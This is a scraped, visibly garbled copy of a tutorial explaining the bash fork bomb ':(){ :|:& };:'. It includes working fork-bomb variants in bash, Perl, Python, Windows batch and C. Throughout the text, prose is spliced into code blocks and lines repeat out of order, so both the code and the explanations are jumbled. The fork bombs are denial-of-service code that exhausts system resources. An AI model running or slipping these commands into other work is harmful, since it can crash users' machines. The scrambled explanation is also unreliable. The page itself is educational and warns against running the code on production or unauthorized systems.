bash bomb
:(){ :|:& };:
Source:http://www.cyberciti.biz/faq/understanding-bash-fork-bomb/
& - Puts the function call in the background so child cannot die at all and start eating system resources.
; - Terminate the function definition
: - Call (run) the function aka set the fork() bomb.
Here is more human readable code:
Related: How to: Prevent a fork bomb by limiting user process under Linux.
November 28, 2007
Perl exmaple:
Source:http://www.cyberciti.biz/faq/understanding-bash-fork-bomb/
Understanding :(){ :|:& };: fork() bomb code
:() - It is a function name. It accepts no arguments at all. Generally, bash function is defined as follows:foo(){fork() bomb is defined as follows:
arg1=$1
echo ''
#do_something on $arg argument
}
:(){:|: - Next it call itself using programming technique called recursion and pipes the output to another call of the function ':'. The worst part is function get called two times to bomb your system.
:|:&
};:
& - Puts the function call in the background so child cannot die at all and start eating system resources.
; - Terminate the function definition
: - Call (run) the function aka set the fork() bomb.
Here is more human readable code:
bomb() {Properly configured Linux / UNIX box should not go down when fork() bomb sets off.
bomb | bomb &
}; bomb
Related: How to: Prevent a fork bomb by limiting user process under Linux.
November 28, 2007
Perl exmaple:
perl -e "fork while fork" &Python example:
import osWindows XP / Vista bat file example:
while(1):
os.fork()
:bombUNIX style for Windows:
start %0
goto bomb
%0|%0C program example:
#includePlz note that the fork bomb is a form of denial of service, so don’t run on production or unauthorized system.
int main() { while(1) fork(); }